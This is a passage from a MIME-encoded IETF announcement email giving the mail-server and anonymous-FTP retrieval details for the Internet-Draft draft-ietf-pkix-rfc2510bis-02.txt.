	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20001130115310.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-pkix-rfc2510bis-02.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-pkix-rfc2510bis-02.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20001130115310.I-D@ietf.org>

--OtherAccess--

--NextPart--



